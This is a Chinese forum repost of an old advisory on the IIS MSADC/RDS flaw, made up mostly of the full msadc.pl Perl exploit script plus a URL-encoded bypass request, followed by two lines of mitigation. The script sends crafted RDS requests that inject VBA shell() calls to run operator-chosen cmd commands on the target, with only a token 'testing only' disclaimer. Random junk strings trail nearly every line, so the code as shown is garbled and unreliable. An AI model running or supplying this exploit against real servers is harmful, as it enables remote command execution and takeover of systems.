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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 3Wx,oq;4-  
/8gL.i$  
涉及程序: :q+N&j'3  
Microsoft NT server 7*+TP~WI  
F u _@!K  
描述: B 0)]s<<  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 61K"(r~  
cF+ X,]=6  
详细: 3|kgTB-  
如果你没有时间读详细内容的话,就删除: 30F!kP*E  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Fhj8lVvk  
有关的安全问题就没有了。 O\beKBT;  
z,f=}t[.Y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 83iCL;GS=  
Utt>H@t[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3]LN;s]ac  
关于利用ODBC远程漏洞的描述,请参看: ;b%{ilx:  
M##';x0  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TKI$hc3|L  
RR|\- 8;  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 d;G~hVu  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "{BqtU*.  
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这里不再论述。 pGWA\}'  
R p.W,)i  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: }ot"Sx\.  
"Pc$\zJm;  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Q~,YbZ-7  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &Cro2|KZhG  
2(#Ks's?  
t#b0H)  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  [aW =  
UuJjO^t  
#!perl RA1yr+)  
# x8N|($1  
# MSADC/RDS 'usage' (aka exploit) script t/p $  
# 0Xl%uF+w  
# by rain.forest.puppy ?&c:q3_-Z  
# r|R7- HI  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me /g.]RY+u|x  
# beta test and find errors! )iLM]m   
.YcN S%  
use Socket; use Getopt::Std; bI ITPxz  
getopts("e:vd:h:XR", \%args); \ L]|-f(4  
9%DT0.D}$j  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ,Ww  
xAdq+$><  
if (!defined $args{h} && !defined $args{R}) { ]qktj=p  
print qq~ 6`e@$(dfA  
Usage: msadc.pl -h <host> { -d <delay> -X -v } jj&s} _75  
-h <host> = host you want to scan (ip or domain) 5vOCCW  
-d <seconds> = delay between calls, default 1 second ST',4 Oph5  
-X = dump Index Server path table, if available s3QEi^~  
-v = verbose Y94MI1O5$  
-e = external dictionary file for step 5 O6c\KFBSJ  
LI W*4r!  
Or a -R will resume a command session pj{\T?(  
t&RruwN_;  
~; exit;} >mm' -P  
zK5bO= 0j  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; f`P9ku#j}  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ?p^2Z6J'$  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  .5Z_E O  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;=;JfNnbm  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :L$4*8@`+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } *|RS*ABte  
Sp?NfJ\Ie  
if (!defined $args{R}){ $ret = &has_msadc; AtHS@p  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3LK%1+)4  
q)I|2~Q c^  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" (JZ".En#X  
. "cmd /c "; \"^% 90F  
$in=<STDIN>; chomp $in; FC>d_=V  
$command="cmd /c " . $in ; > <Z'D  
f&I7,"v  
if (defined $args{R}) {&load; exit;} U[8{_h<#  
ZF{~ih*^u  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; q-&P=Yk  
&try_btcustmr; Fdt}..H%  
Es8#]'Rk  
print "\nStep 2: Trying to make our own DSN..."; ME+em1ZH  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Y1\K;;X  
 *4yN3y  
print "\nStep 3: Trying known DSNs..."; &8?`<   
&known_dsn; _l&ucA  
P_Uutn~  
print "\nStep 4: Trying known .mdbs..."; vDE |sT  
&known_mdb; \ P/W8{  
O%JSViPw  
if (defined $args{e}){ '}{?AUDx  
print "\nStep 5: Trying dictionary of DSN names..."; I:;+n^N?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u{C)qb5Pu  
+{-]P\oc  
print "Sorry Charley...maybe next time?\n"; !v>ew9  
exit; )%j"  
+/cgw,  
############################################################################## <GZhH:  
(F&YdWe:  
sub sendraw { # ripped and modded from whisker 36A;!1  
sleep($delay); # it's a DoS on the server! At least on mine... BKb<2  
my ($pstr)=@_; o)I/P<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )I9aC~eAD  
die("Socket problems\n"); _s>^?x}  
if(connect(S,pack "SnA4x8",2,80,$target)){ u0]q`u/ T  
select(S); $|=1; 0dt"ZSm  
print $pstr; my @in=<S>; Y5%;p33uFG  
select(STDOUT); close(S); ]|LgVXEpx  
return @in; {ymb\$f  
} else { die("Can't connect...\n"); }} 08r[K(bfb,  
^H=o3#P~L  
############################################################################## VS`Z_Xn  
UrK"u{G  
sub make_header { # make the HTTP request JlIS0hnv  
my $msadc=<<EOT 'NjSu64W  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 %b<%w    
User-Agent: ACTIVEDATA ? ( 12aU  
Host: $ip F#1kZ@nq  
Content-Length: $clen Qj!d^8  
Connection: Keep-Alive zoXuFg  
t2.juoI(  
ADCClientVersion:01.06 r@|ZlM@O  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 JtmQzr0>  
i./Y w  
--!ADM!ROX!YOUR!WORLD! ~@fanR =  
Content-Type: application/x-varg Pd],}/ZG-  
Content-Length: $reqlen =t.F2'<[Z  
uI9lK  
EOT "1%*'B^}bw  
; $msadc=~s/\n/\r\n/g; NDo^B7 R-  
return $msadc;} |"\lL9CT  
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############################################################################## qKs7WBRJy  
v>k b^38  
sub make_req { # make the RDS request Y[,U_GX/R  
my ($switch, $p1, $p2)=@_; 8;.` {'r  
my $req=""; my $t1, $t2, $query, $dsn; in?T]}  
W_D%|Ub2X  
if ($switch==1){ # this is the btcustmr.mdb query ^Kum%<[i  
$query="Select * from Customers where City=" . make_shell(); _w%s(dzk  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . -faw:  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} dw99FA6  
ULrbQ}"cva  
elsif ($switch==2){ # this is general make table query + 1f{_v  
$query="create table AZZ (B int, C varchar(10))"; ]E..43  
$dsn="$p1";} U\;Ml  
1Kc{#+a^  
elsif ($switch==3){ # this is general exploit table query 4sQ~&@[Q+  
$query="select * from AZZ where C=" . make_shell(); c0hdLl;5  
$dsn="$p1";} =ZrjK=K  
bY&YSlO  
elsif ($switch==4){ # attempt to hork file info from index server h%|9]5(=  
$query="select path from scope()"; bZnDd  
$dsn="Provider=MSIDXS;";} lDH_ Y]bM  
rZ 6@b  
elsif ($switch==5){ # bad query $1=v.'Y  
$query="select"; P^n{Y~P=Q  
$dsn="$p1";} "pl[(rc+u  
yT2vO_rH  
$t1= make_unicode($query); s'2y%E#  
$t2= make_unicode($dsn); $q.p$JQ:  
$req = "\x02\x00\x03\x00"; 7TR' zW2W  
$req.= "\x08\x00" . pack ("S1", length($t1)); L1:}bH\y  
$req.= "\x00\x00" . $t1 ; f`bIQ9R  
$req.= "\x08\x00" . pack ("S1", length($t2)); '> 4+WZ1w5  
$req.= "\x00\x00" . $t2 ; X.:_"+I;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; l.yJA>\24I  
return $req;} J$<:/^t  
^M"HSewo  
############################################################################## r)(i{:@r`  
?|gGsm+  
sub make_shell { # this makes the shell() statement .v$ue`  
return "'|shell(\"$command\")|'";} E^'C "6  
` 3vN R"  
############################################################################## >^sz5d+X  
j(UX 6lR  
sub make_unicode { # quick little function to convert to unicode 1h& )I%`?  
my ($in)=@_; my $out; )3+xsnv  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } M55e=  
return $out;} v] W1F,u  
38OIFT  
############################################################################## 8UjCX[v  
#a/n5c&6/  
sub rdo_success { # checks for RDO return success (this is kludge) 2OA8 R}  
my (@in) = @_; my $base=content_start(@in); LAOdH/*:  
if($in[$base]=~/multipart\/mixed/){ \E>%W  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} F<H`8*q9  
return 0;} ZY~zpC_  
LS*{]@8q  
############################################################################## _ +0uju?o}  
w;z@py  
sub make_dsn { # this makes a DSN for us N}eU.#L  
my @drives=("c","d","e","f"); IiYuUN1D  
print "\nMaking DSN: "; oC ^z_AtZ  
foreach $drive (@drives) { pIM*c6  
print "$drive: "; P6.)P|n7=  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ksxO<Y  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" w}]3jc84  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); xP<H,og&x=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &h_d|8  
return 0 if $2 eq "404"; # not found/doesn't exist #S/pYP`7  
if($2 eq "200") { *q\HFI  
foreach $line (@results) { sPZV>Q:zY  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} g: H[#I  
} return 0;} !nZI? z;  
,.1&Ff)S  
############################################################################## 4n `[SN  
7%~VOB  
sub verify_exists { hO:)=}+H  
my ($page)=@_; ?];~N5<'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ;[;S_|vZ=)  
return $results[0];} :BC<+T=  
61t-  
############################################################################## kV]%Q3t  
ba8-XA_~U  
sub try_btcustmr { KU 8Cl>5  
my @drives=("c","d","e","f"); uv_P{%TK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); TZ`]#^kU  
={wjeRp  
foreach $dir (@dirs) { FW6E)df  
print "$dir -> "; # fun status so you can see progress ^*4(JR   
foreach $drive (@drives) { /3"e3{u y  
print "$drive: "; # ditto mt&JgA/  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ocDVCCkxg  
$reqlenlen=length( "$reqlen" ); QWIOim-  
$clen= 206 + $reqlenlen + $reqlen; eO"\UDBV  
l{%Op\  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); xu\/]f)  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} UJyiRP:#]>  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &].1[&M]  
0B!mEg  
############################################################################## ^.><t+tM  
s$3eJ|  
sub odbc_error { mF$jC:Tb  
my (@in)=@_; my $base; AS/\IHZ\  
my $base = content_start(@in); da7x 1n$D  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this E<fwl1<88  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; FC/>L  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B@~eBU,$  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~[bMfkc3  
return $in[$base+4].$in[$base+5].$in[$base+6];} LTlC}3c28f  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  Lqf#,J  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . t]YLt ,  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} QKuc21  
cJp1 <R  
############################################################################## |M{,}.*CU  
lhvZ*[[<)  
sub verbose { i}&mz~  
my ($in)=@_; w7]p9B  
return if !$verbose; L-oPb)  
print STDOUT "\n$in\n";} nms<6kfzL  
4OESsN$O  
############################################################################## B?zS_Ue  
/`]|_>'  
sub save { ]Rys=.!  
my ($p1, $p2, $p3, $p4)=@_; n4 6PQm%p  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; iLQt9Hyk  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 7n3x19T  
close OUT;} ?@uK s4  
H1c|b !C  
############################################################################## [3 ;Y:&D  
}5c'ui!3H  
sub load { i|! 9o:  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; VL,?91qwe  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); e+=G-u5}-  
@p=<IN>; close(IN); = ,E(!Sp  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); E9+O\"e9  
$target= inet_aton($ip) || die("inet_aton problems"); zdQu%q  
print "Resuming to $ip ..."; x_^OS"h-  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; SoON@h/  
if($p[1]==1) { V%KW[v<G<  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Vm%ux>}  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; J hq5G"  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); tFP;CW!E  
if (rdo_success(@results)){print "Success!\n";} { 'mY>s 7  
else { print "failed\n"; verbose(odbc_error(@results));}} HW%bx"r+4f  
elsif ($p[1]==3){ m_O=X8uj"D  
if(run_query("$p[3]")){ ~}9H<K3V  
print "Success!\n";} else { print "failed\n"; }} 'H-YFB$l  
elsif ($p[1]==4){ u$`x]K=Zsm  
if(run_query($drvst . "$p[3]")){ VDI S`E  
print "Success!\n"; } else { print "failed\n"; }} 8X~vJ^X9@y  
exit;} ,% DAh  
WOTu" Yj  
############################################################################## >71w #K  
gJcL{]  
sub create_table { )k<~}wvQ0  
my ($in)=@_; l4.@YYzbp.  
$reqlen=length( make_req(2,$in,"") ) - 28; j`-y"6)  
$reqlenlen=length( "$reqlen" ); .Im+()b&&  
$clen= 206 + $reqlenlen + $reqlen; {(:)  
my @results=sendraw(make_header() . make_req(2,$in,"")); n'(n4qH2#s  
return 1 if rdo_success(@results); 9%'HB\A  
my $temp= odbc_error(@results); verbose($temp); HC, 0" W  
return 1 if $temp=~/Table 'AZZ' already exists/; {qdhp_~^l  
return 0;} gJfL$S'w  
+o70: UF%  
############################################################################## K OHH74}_  
YY>Uf1}*9  
sub known_dsn { 42[:s:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go xB]v  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", R$,iDv.jI  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", AS-t][m#  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); tg`!svL!  
ee?M o`  
foreach $dSn (@dsns) { [ESs?v$  
print "."; HbVV]y  
next if (!is_access("DSN=$dSn")); g \h7`-#t  
if(create_table("DSN=$dSn")){ ~(E8~)f)  
print "$dSn successful\n"; *X55:yha  
if(run_query("DSN=$dSn")){ v-aq".XQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { QnAf A%  
print "Something's borked. Use verbose next time\n";}}} print "\n";} q`K-T _<  
Kt7x'5  
############################################################################## $7 Uk;xV  
c|a|z}(/J  
sub is_access { fmN)~-DV9`  
my ($in)=@_; 90v18k  
$reqlen=length( make_req(5,$in,"") ) - 28; rNO;yL4)ey  
$reqlenlen=length( "$reqlen" ); j %0_!*#3  
$clen= 206 + $reqlenlen + $reqlen; eBKIdR%k  
my @results=sendraw(make_header() . make_req(5,$in,"")); 51'SA B09  
my $temp= odbc_error(@results);  -KiS6$-  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6KTY`'I  
return 0;} 2^lT!X@  
z=pV{ '  
############################################################################## %dR./{txT  
muq|^Hfb  
sub run_query { pU'sADC  
my ($in)=@_; *<j@+Ch  
$reqlen=length( make_req(3,$in,"") ) - 28; JNl+UH:.  
$reqlenlen=length( "$reqlen" ); <LZvh8  
$clen= 206 + $reqlenlen + $reqlen; *0zH5c  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]V("^.~$+C  
return 1 if rdo_success(@results); 8H b|'Q|^  
my $temp= odbc_error(@results); verbose($temp); F}[;ytmUS  
return 0;} >Tx;<G  
'Mqa2o'M  
############################################################################## }w8AnaC  
jYZWf `X~  
sub known_mdb { |O2PcYNu  
my @drives=("c","d","e","f","g"); MF(~!SOIG  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Oei2,3l,?  
my $dir, $drive, $mdb; nd1*e  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3dphS ^X  
E e&$9 )t  
# this is sparse, because I don't know of many JwczE9~o  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8hp]+k_y  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %Q~Lk]B?t  
"\\system32\\certmdb.mdb", l[|e3<H  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }('' |z#UE  
ufPQ~,.  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 4Pdk?vHK;  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1ouTZ'c?  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", #"JU39e  
"\\cfusion\\cfapps\\security\\realm_.mdb", LeCU"~  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", _O<{H'4NO  
"\\cfusion\\database\\cfexamples.mdb", h`j gF  
"\\cfusion\\database\\cfsnippets.mdb", Dw3! ibg  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [9^e u>)A  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ^*Fkt(ida  
"\\cfusion\\brighttiger\\database\\cleam.mdb", dp+Y?ufr  
"\\cfusion\\database\\smpolicy.mdb", 6f>HE'N  
"\\cfusion\\database\cypress.mdb", U8!njLC  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", |L&V-f&K  
"\\website\\cgi-win\\dbsample.mdb", q4N$.hpb  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", N~d]}J8}gx  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 0k 8SDRWU  
); #these are just +s}28U!  
foreach $drive (@drives) { _C\b,D}p  
foreach $dir (@dirs){ 78-:hk  
foreach $mdb (@sysmdbs) { Hf iM]^  
print "."; b1 cd5  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ )f rtvN7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; _K>m9Q2  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ KK?~i[aL  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (~oPr+d  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (" %yV_R  
\zwb>^  
foreach $drive (@drives) { )%7A. UO)  
foreach $mdb (@mdbs) { ='j  
print "."; ez>@'yhK  
if(create_table($drv . $drive . $dir . $mdb)){ |&Q=9H*e  
print "\n" . $drive . $dir . $mdb . " successful\n"; _HQa3wj  
if(run_query($drv . $drive . $dir . $mdb)){ K3^2R-3:8  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; HPQ,tlp6j  
} else { print "Something's borked. Use verbose next time\n"; }}}} 10&A3C(E  
} (XH)1 -Z!  
%XeU4yg\e  
############################################################################## \ck3y]a[  
iC]}M  
sub hork_idx { 4$"Lf'sH6  
print "\nAttempting to dump Index Server tables...\n"; g:g>;" B O  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; {TNAK%'v  
$reqlen=length( make_req(4,"","") ) - 28; 2h!3[{M\  
$reqlenlen=length( "$reqlen" ); Mi/_hzZ\  
$clen= 206 + $reqlenlen + $reqlen; N\?iU8w=  
my @results=sendraw2(make_header() . make_req(4,"","")); t-Wn@a  
if (rdo_success(@results)){ )".gjW8{#L  
my $max=@results; my $c; my %d; &}uO ]0bR  
for($c=19; $c<$max; $c++){ a lR}|ez  
$results[$c]=~s/\x00//g; iR-O6*PTC  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 83a Rq&(R  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; u=[oo @Rk`  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; f2=s{0SX0  
$d{"$1$2"}="";} .H&;pOf  
foreach $c (keys %d){ print "$c\n"; } &,/T<V  
} else {print "Index server doesn't seem to be installed.\n"; }} -*EJj>x  
UgP5^3F2  
############################################################################## lVdExR>H  
\WTg0b[  
sub dsn_dict { 3,?y !  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); SYL$ ?kl  
while(<IN>){ vB p5&*  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; SXL6)pX  
next if (!is_access("DSN=$dSn")); b} *cw2  
if(create_table("DSN=$dSn")){ '54@-}D  
print "$dSn successful\n"; ;H^!yj5H  
if(run_query("DSN=$dSn")){ e.T5F`Du  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :PLsA3[}  
print "Something's borked. Use verbose next time\n";}}} K6X1a7  
print "\n"; close(IN);} r0sd_@Oj  
FueJe/~t  
############################################################################## }Z6/b _kV  
CeQcnJU  
sub sendraw2 { # ripped and modded from whisker {1Qwwhov  
sleep($delay); # it's a DoS on the server! At least on mine... it,%T)2H  
my ($pstr)=@_; TuU.yvkU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || mf3G$=[  
die("Socket problems\n"); "_`~9qDy  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4c% :?H@2  
print "Connected. Getting data"; s{/nO)  
open(OUT,">raw.out"); my @in; DXUI/C f  
select(S); $|=1; print $pstr; T:ck/:ZH  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} *<@  
close(OUT); select(STDOUT); close(S); return @in; 0,c z&8  
} else { die("Can't connect...\n"); }} ]?r8^LyZ4  
FKQnz/  
############################################################################## 0jXIx2y  
\Q6Ip@?  
sub content_start { # this will take in the server headers exhF5,AW|K  
my (@in)=@_; my $c; m$^7sFD$  
for ($c=1;$c<500;$c++) { zumRbrz  
if($in[$c] =~/^\x0d\x0a/){ b{oNV-<&{  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } S `[8TZ  
else { return $c+1; }}} D>mLSh  
return -1;} # it should never get here actually _Sg29qFK  
TKE)NIa  
############################################################################## qgDBu\  
Zy#r<j]T  
sub funky { rQWft r^  
my (@in)=@_; my $error=odbc_error(@in); <.<Nw6  
if($error=~/ADO could not find the specified provider/){ ._yr7uY[M  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 1w5nBVC*$V  
exit;} eAqQ~)8^  
if($error=~/A Handler is required/){ T/3UF  
print "\nServer has custom handler filters (they most likely are patched)\n"; n Au>i<  
exit;} 'W#<8eJo  
if($error=~/specified Handler has denied Access/){ fSTEZH  
print "\nServer has custom handler filters (they most likely are patched)\n"; d/^^8XUK  
exit;}} M *}$$Fe|  
R%Z} J R.  
############################################################################## e7;]+pN]J  
Q.fBuF  
sub has_msadc { 4?&=H *H:  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); LJ)3!Q/:  
my $base=content_start(@results); -L[K1;Xv"  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Bj2rA.M  
return 0;} r1\.Jz  
6R<%. -qr  
######################## MT*b+&1e  
FYj3! H  
k >MgrtJI  
解决方案: )uaB^L1  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll "Vh(%N`6  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ^KlOD_GN|  
H^s SHj  
拿出来充数 哈哈
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